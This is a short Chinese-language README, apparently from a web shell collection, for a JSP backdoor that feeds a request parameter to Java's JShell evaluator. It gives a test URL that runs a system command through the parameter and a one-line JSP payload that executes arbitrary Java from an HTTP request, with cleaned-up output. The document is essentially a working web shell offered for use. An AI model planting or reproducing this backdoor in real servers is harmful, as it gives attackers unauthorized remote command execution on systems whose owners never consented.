readme

![图片](https://raw.githubusercontent.com/tennc/webshell/master/jsp/p2j.cn/20190910185302_297.png)

测试用例：http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()

如果强迫症想撸掉多余的输出：

```
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
```

from: http://p2j.cn/?p=1874